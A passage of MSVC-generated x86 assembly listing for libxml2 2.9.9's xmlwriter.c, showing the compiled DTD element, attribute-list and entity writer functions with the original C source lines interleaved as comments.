: case XML_TEXTWRITER_NONE: ; 3660 : break; ; 3661 : default: ; 3662 : return -1; ; 3663 : } ; 3664 : } ; 3665 : } ; 3666 : ; 3667 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc mov ebx, eax add esp, 4 ; 3668 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 3669 : if (p == 0) { test ebx, ebx jne SHORT $LN14@xmlTextWri ; 3670 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 3713 : ; 3714 : return sum; ; 3715 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN14@xmlTextWri: ; 3671 : "xmlTextWriterStartDTDElement : out of memory!\n"); ; 3672 : return -1; ; 3673 : } ; 3674 : ; 3675 : p->name = xmlStrdup(name); push DWORD PTR _name$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [ebx], eax ; 3676 : if (p->name == 0) { test eax, eax jne SHORT $LN15@xmlTextWri ; 3677 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ push 2 push esi call _xmlWriterErrMsg ; 3678 : "xmlTextWriterStartDTDElement : out of memory!\n"); ; 3679 : xmlFree(p); push ebx call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3713 : ; 3714 : return sum; ; 3715 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN15@xmlTextWri: ; 3680 : return -1; ; 3681 : } ; 3682 : ; 3683 : if (pe != 0) ; 3684 : p->state = XML_TEXTWRITER_DTD_PENT; ; 3685 : else ; 3686 : p->state = XML_TEXTWRITER_DTD_ENTY; ; 3687 : ; 3688 : xmlListPushFront(writer->nodes, p); xor eax, eax cmp DWORD PTR _pe$[ebp], eax push ebx setne al lea eax, DWORD PTR [eax*2+13] mov DWORD PTR [ebx+4], eax push DWORD PTR [esi+4] call _xmlListPushFront add esp, 8 ; 3689 : ; 3690 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN18@xmlTextWri ; 3691 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 3692 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3693 : return -1; ; 3694 : sum += count; add edi, eax $LN18@xmlTextWri: ; 3695 : } ; 3696 : ; 3697 : count = xmlOutputBufferWriteString(writer->out, "<!ENTITY "); push OFFSET ??_C@_09POADHIMD@?$DM?$CBENTITY?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3698 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3699 : return -1; ; 3700 : sum += count; add edi, eax ; 3701 : ; 3702 : if (pe != 0) { cmp DWORD PTR _pe$[ebp], 0 je SHORT $LN21@xmlTextWri ; 3703 : count = xmlOutputBufferWriteString(writer->out, "% "); push OFFSET ??_C@_02KLLMIGEE@?$CF?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3704 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3705 : return -1; ; 3706 : sum += count; add edi, eax $LN21@xmlTextWri: ; 3707 : } ; 3708 : ; 3709 : count = xmlOutputBufferWriteString(writer->out, (const char *) name); push DWORD PTR _name$[ebp] push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3710 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3711 : return -1; ; 3712 : sum += count; add eax, edi pop edi ; 3713 : ; 3714 : return sum; ; 3715 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterStartDTDEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDAttlist _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _content$ = 16 ; size = 4 _xmlTextWriterWriteDTDAttlist PROC ; COMDAT ; 3589 : { push ebp mov ebp, esp push ebx push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR _content$[ebp], 0 je SHORT $LN7@xmlTextWri ; 3590 : int count; ; 3591 : int sum; ; 3592 : ; 3593 : if (content == NULL) ; 3594 : return -1; ; 3595 : ; 3596 : sum = 0; ; 3597 : count = xmlTextWriterStartDTDAttlist(writer, name); push DWORD PTR _name$[ebp] mov ebx, DWORD PTR _writer$[ebp] push ebx call _xmlTextWriterStartDTDAttlist mov esi, eax add esp, 8 ; 3598 : if (count == -1) cmp esi, -1 je SHORT $LN7@xmlTextWri ; 3599 : return -1; ; 3600 : sum += count; ; 3601 : ; 3602 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push ebx call _xmlTextWriterWriteString add esp, 8 ; 3603 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3604 : return -1; ; 3605 : sum += count; ; 3606 : ; 3607 : count = xmlTextWriterEndDTDAttlist(writer); push ebx add esi, eax call _xmlTextWriterEndDTDAttlist add esp, 4 ; 3608 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3610 : sum += count; add eax, esi pop esi ; 3611 : ; 3612 : return sum; ; 3613 : } pop ebx pop ebp ret 0 $LN7@xmlTextWri: pop esi ; 3609 : return -1; or eax, -1 ; 3611 : ; 3612 : return sum; ; 3613 : } pop ebx pop ebp ret 0 _xmlTextWriterWriteDTDAttlist ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatDTDAttlist _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _argptr$ = 20 ; size = 4 _xmlTextWriterWriteVFormatDTDAttlist PROC ; COMDAT ; 3559 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3560 : int rc; ; 3561 : xmlChar *buf; ; 3562 : ; 3563 : if (writer == NULL) ; 3564 : return -1; ; 3565 : ; 3566 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3567 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 3569 : ; 3570 : rc = xmlTextWriterWriteDTDAttlist(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTDAttlist ; 3571 : ; 3572 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3573 : return rc; mov eax, esi pop edi ; 3574 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 3568 : return -1; or eax, -1 ; 3574 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatDTDAttlist ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatDTDAttlist _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _xmlTextWriterWriteFormatDTDAttlist PROC ; COMDAT ; 3532 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 3563 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 3533 : int rc; ; 3534 : va_list ap; ; 3535 : ; 3536 : va_start(ap, format); ; 3537 : ; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap); ; 3539 : ; 3540 : va_end(ap); ; 3541 : return rc; or eax, -1 pop esi ; 3542 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 3566 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3567 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 3533 : int rc; ; 3534 : va_list ap; ; 3535 : ; 3536 : va_start(ap, format); ; 3537 : ; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap); ; 3539 : ; 3540 : va_end(ap); ; 3541 : return rc; pop edi or eax, -1 pop esi ; 3542 : } pop ebp ret 0 $LN5@xmlTextWri: ; 3570 : rc = xmlTextWriterWriteDTDAttlist(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTDAttlist ; 3571 : ; 3572 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3533 : int rc; ; 3534 : va_list ap; ; 3535 : ; 3536 : va_start(ap, format); ; 3537 : ; 3538 : rc = xmlTextWriterWriteVFormatDTDAttlist(writer, name, format, ap); ; 3539 : ; 3540 : va_end(ap); ; 3541 : return rc; mov eax, esi pop edi pop esi ; 3542 : } pop ebp ret 0 _xmlTextWriterWriteFormatDTDAttlist ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndDTDAttlist _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndDTDAttlist PROC ; COMDAT ; 3476 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN9@xmlTextWri ; 3477 : int count; ; 3478 : int sum; ; 3479 : xmlLinkPtr lk; ; 3480 : xmlTextWriterStackEntry *p; ; 3481 : ; 3482 : if (writer == NULL) ; 3483 : return -1; ; 3484 : ; 3485 : sum = 0; ; 3486 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 3487 : if (lk == 0) test eax, eax je SHORT $LN9@xmlTextWri ; 3488 : return -1; ; 3489 : ; 3490 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 3491 : if (p == 0) test eax, eax je SHORT $LN9@xmlTextWri ; 3492 : return -1; ; 3493 : ; 3494 : switch (p->state) { mov eax, DWORD PTR [eax+4] add eax, -11 ; fffffff5H cmp eax, 1 ja SHORT $LN9@xmlTextWri ; 3495 : case XML_TEXTWRITER_DTD_ATTL: ; 3496 : case XML_TEXTWRITER_DTD_ATTL_TEXT: ; 3497 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 3498 : if (count < 0) test edi, edi js SHORT $LN9@xmlTextWri ; 3504 : } ; 3505 : ; 3506 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 3507 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3508 : if (count < 0) test eax, eax js SHORT $LN9@xmlTextWri ; 3509 : return -1; ; 3510 : sum += count; add edi, eax $LN10@xmlTextWri: ; 3511 : } ; 3512 : ; 3513 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 3514 : return sum; mov eax, edi pop edi ; 3515 : } pop esi pop ebp ret 0 $LN9@xmlTextWri: pop edi ; 3499 : return -1; ; 3500 : sum += count; ; 3501 : break; ; 3502 : default: ; 3503 : return -1; or eax, -1 ; 3515 : } pop esi pop ebp ret 0 _xmlTextWriterEndDTDAttlist ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDTDAttlist _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlTextWriterStartDTDAttlist PROC ; COMDAT ; 3389 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3390 : int count; ; 3391 : int sum; ; 3392 : xmlLinkPtr lk; ; 3393 : xmlTextWriterStackEntry *p; ; 3394 : ; 3395 : if (writer == NULL || name == NULL || *name == '\0') mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN5@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN5@xmlTextWri ; 3396 : return -1; ; 3397 : ; 3398 : sum = 0; ; 3399 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 3400 : if (lk == 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 3401 : return -1; ; 3402 : } ; 3403 : ; 3404 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 3405 : if (p != 0) { test ebx, ebx je SHORT $LN12@xmlTextWri ; 3406 : switch (p->state) { mov eax, DWORD PTR [ebx+4] sub eax, edi je SHORT $LN12@xmlTextWri sub eax, 7 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN12@xmlTextWri $LN5@xmlTextWri: pop edi ; 3462 : ; 3463 : return sum; ; 3464 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN8@xmlTextWri: ; 3407 : case XML_TEXTWRITER_DTD: ; 3408 : count = xmlOutputBufferWriteString(writer->out, " ["); push OFFSET ??_C@_02GBLMOEJC@?5?$FL@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 3409 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri ; 3410 : return -1; ; 3411 : sum += count; ; 3412 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 3413 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3414 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 3415 : return -1; ; 3416 : sum += count; add edi, eax $LN10@xmlTextWri: ; 3417 : } ; 3418 : p->state = XML_TEXTWRITER_DTD_TEXT; mov DWORD PTR [ebx+4], 8 $LN12@xmlTextWri: ; 3419 : /* fallthrough */ ; 3420 : case XML_TEXTWRITER_DTD_TEXT: ; 3421 : case XML_TEXTWRITER_NONE: ; 3422 : break; ; 3423 : default: ; 3424 : return -1; ; 3425 : } ; 3426 : } ; 3427 : ; 3428 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc mov ebx, eax add esp, 4 ; 3429 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 3430 : if (p == 0) { test ebx, ebx jne SHORT $LN14@xmlTextWri ; 3431 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 3462 : ; 3463 : return sum; ; 3464 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN14@xmlTextWri: ; 3432 : "xmlTextWriterStartDTDAttlist : out of memory!\n"); ; 3433 : return -1; ; 3434 : } ; 3435 : ; 3436 : p->name = xmlStrdup(name); push DWORD PTR _name$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [ebx], eax ; 3437 : if (p->name == 0) { test eax, eax jne SHORT $LN15@xmlTextWri ; 3438 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ push 2 push esi call _xmlWriterErrMsg ; 3439 : "xmlTextWriterStartDTDAttlist : out of memory!\n"); ; 3440 : xmlFree(p); push ebx call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3462 : ; 3463 : return sum; ; 3464 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN15@xmlTextWri: ; 3441 : return -1; ; 3442 : } ; 3443 : p->state = XML_TEXTWRITER_DTD_ATTL; mov DWORD PTR [ebx+4], 11 ; 0000000bH ; 3444 : ; 3445 : xmlListPushFront(writer->nodes, p); push ebx push DWORD PTR [esi+4] call _xmlListPushFront add esp, 8 ; 3446 : ; 3447 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN16@xmlTextWri ; 3448 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 3449 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3450 : return -1; ; 3451 : sum += count; add edi, eax $LN16@xmlTextWri: ; 3452 : } ; 3453 : ; 3454 : count = xmlOutputBufferWriteString(writer->out, "<!ATTLIST "); push OFFSET ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3455 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3456 : return -1; ; 3457 : sum += count; ; 3458 : count = xmlOutputBufferWriteString(writer->out, (const char *) name); push DWORD PTR _name$[ebp] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3459 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3460 : return -1; ; 3461 : sum += count; add eax, edi pop edi ; 3462 : ; 3463 : return sum; ; 3464 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterStartDTDAttlist ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _content$ = 16 ; size = 4 _xmlTextWriterWriteDTDElement PROC ; COMDAT ; 3352 : { push ebp mov ebp, esp push ebx push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR _content$[ebp], 0 je SHORT $LN7@xmlTextWri ; 3353 : int count; ; 3354 : int sum; ; 3355 : ; 3356 : if (content == NULL) ; 3357 : return -1; ; 3358 : ; 3359 : sum = 0; ; 3360 : count = xmlTextWriterStartDTDElement(writer, name); push DWORD PTR _name$[ebp] mov ebx, DWORD PTR _writer$[ebp] push ebx call _xmlTextWriterStartDTDElement mov esi, eax add esp, 8 ; 3361 : if (count == -1) cmp esi, -1 je SHORT $LN7@xmlTextWri ; 3362 : return -1; ; 3363 : sum += count; ; 3364 : ; 3365 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push ebx call _xmlTextWriterWriteString add esp, 8 ; 3366 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3367 : return -1; ; 3368 : sum += count; ; 3369 : ; 3370 : count = xmlTextWriterEndDTDElement(writer); push ebx add esi, eax call _xmlTextWriterEndDTDElement add esp, 4 ; 3371 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3373 : sum += count; add eax, esi pop esi ; 3374 : ; 3375 : return sum; ; 3376 : } pop ebx pop ebp ret 0 $LN7@xmlTextWri: pop esi ; 3372 : return -1; or eax, -1 ; 3374 : ; 3375 : return sum; ; 3376 : } pop ebx pop ebp ret 0 _xmlTextWriterWriteDTDElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatDTDElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _argptr$ = 20 ; size = 4 _xmlTextWriterWriteVFormatDTDElement PROC ; COMDAT ; 3322 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3323 : int rc; ; 3324 : xmlChar *buf; ; 3325 : ; 3326 : if (writer == NULL) ; 3327 : return -1; ; 3328 : ; 3329 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3330 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 3332 : ; 3333 : rc = xmlTextWriterWriteDTDElement(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTDElement ; 3334 : ; 3335 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3336 : return rc; mov eax, esi pop edi ; 3337 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 3331 : return -1; or eax, -1 ; 3337 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatDTDElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatDTDElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _xmlTextWriterWriteFormatDTDElement PROC ; COMDAT ; 3295 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 3326 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 3296 : int rc; ; 3297 : va_list ap; ; 3298 : ; 3299 : va_start(ap, format); ; 3300 : ; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap); ; 3302 : ; 3303 : va_end(ap); ; 3304 : return rc; or eax, -1 pop esi ; 3305 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 3329 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3330 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 3296 : int rc; ; 3297 : va_list ap; ; 3298 : ; 3299 : va_start(ap, format); ; 3300 : ; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap); ; 3302 : ; 3303 : va_end(ap); ; 3304 : return rc; pop edi or eax, -1 pop esi ; 3305 : } pop ebp ret 0 $LN5@xmlTextWri: ; 3333 : rc = xmlTextWriterWriteDTDElement(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTDElement ; 3334 : ; 3335 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3296 : int rc; ; 3297 : va_list ap; ; 3298 : ; 3299 : va_start(ap, format); ; 3300 : ; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap); ; 3302 : ; 3303 : va_end(ap); ; 3304 : return rc; mov eax, esi pop edi pop esi ; 3305 : } pop ebp ret 0 _xmlTextWriterWriteFormatDTDElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndDTDElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndDTDElement PROC ; COMDAT ; 3239 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN9@xmlTextWri ; 3240 : int count; ; 3241 : int sum; ; 3242 : xmlLinkPtr lk; ; 3243 : xmlTextWriterStackEntry *p; ; 3244 : ; 3245 : if (writer == NULL) ; 3246 : return -1; ; 3247 : ; 3248 : sum = 0; ; 3249 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 3250 : if (lk == 0) test eax, eax je SHORT $LN9@xmlTextWri ; 3251 : return -1; ; 3252 : ; 3253 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 3254 : if (p == 0) test eax, eax je SHORT $LN9@xmlTextWri ; 3255 : return -1; ; 3256 : ; 3257 : switch (p->state) { mov eax, DWORD PTR [eax+4] add eax, -9 ; fffffff7H cmp eax, 1 ja SHORT $LN9@xmlTextWri ; 3258 : case XML_TEXTWRITER_DTD_ELEM: ; 3259 : case XML_TEXTWRITER_DTD_ELEM_TEXT: ; 3260 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 3261 : if (count < 0) test edi, edi js SHORT $LN9@xmlTextWri ; 3267 : } ; 3268 : ; 3269 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 3270 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3271 : if (count < 0) test eax, eax js SHORT $LN9@xmlTextWri ; 3272 : return -1; ; 3273 : sum += count; add edi, eax $LN10@xmlTextWri: ; 3274 : } ; 3275 : ; 3276 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 3277 : return sum; mov eax, edi pop edi ; 3278 : } pop esi pop ebp ret 0 $LN9@xmlTextWri: pop edi ; 3262 : return -1; ; 3263 : sum += count; ; 3264 : break; ; 3265 : default: ; 3266 : return -1; or eax, -1 ; 3278 : } pop esi pop ebp ret 0 _xmlTextWriterEndDTDElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDTDElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlTextWriterStartDTDElement PROC ; COMDAT ; 3152 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3153 : int count; ; 3154 : int sum; ; 3155 : xmlLinkPtr lk; ; 3156 : xmlTextWriterStackEntry *p; ; 3157 : ; 3158 : if (writer == NULL || name == NULL || *name == '\0') mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN5@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN5@xmlTextWri ; 3159 : return -1; ; 3160 : ; 3161 : sum = 0; ; 3162 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 3163 : if (lk == 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 3164 : return -1; ; 3165 : } ; 3166 : ; 3167 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 3168 : if (p != 0) { test ebx, ebx je SHORT $LN12@xmlTextWri ; 3169 : switch (p->state) { mov eax, DWORD PTR [ebx+4] sub eax, edi je SHORT $LN12@xmlTextWri sub eax, 7 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN12@xmlTextWri $LN5@xmlTextWri: pop edi ; 3225 : ; 3226 : return sum; ; 3227 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN8@xmlTextWri: ; 3170 : case XML_TEXTWRITER_DTD: ; 3171 : count = xmlOutputBufferWriteString(writer->out, " ["); push OFFSET ??_C@_02GBLMOEJC@?5?$FL@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 3172 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri ; 3173 : return -1; ; 3174 : sum += count; ; 3175 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 3176 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3177 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 3178 : return -1; ; 3179 : sum += count; add edi, eax $LN10@xmlTextWri: ; 3180 : } ; 3181 : p->state = XML_TEXTWRITER_DTD_TEXT; mov DWORD PTR [ebx+4], 8 $LN12@xmlTextWri: ; 3182 : /* fallthrough */ ; 3183 : case XML_TEXTWRITER_DTD_TEXT: ; 3184 : case XML_TEXTWRITER_NONE: ; 3185 : break; ; 3186 : default: ; 3187 : return -1; ; 3188 : } ; 3189 : } ; 3190 : ; 3191 : p = (xmlTextWriterStackEntry *) push 8 call 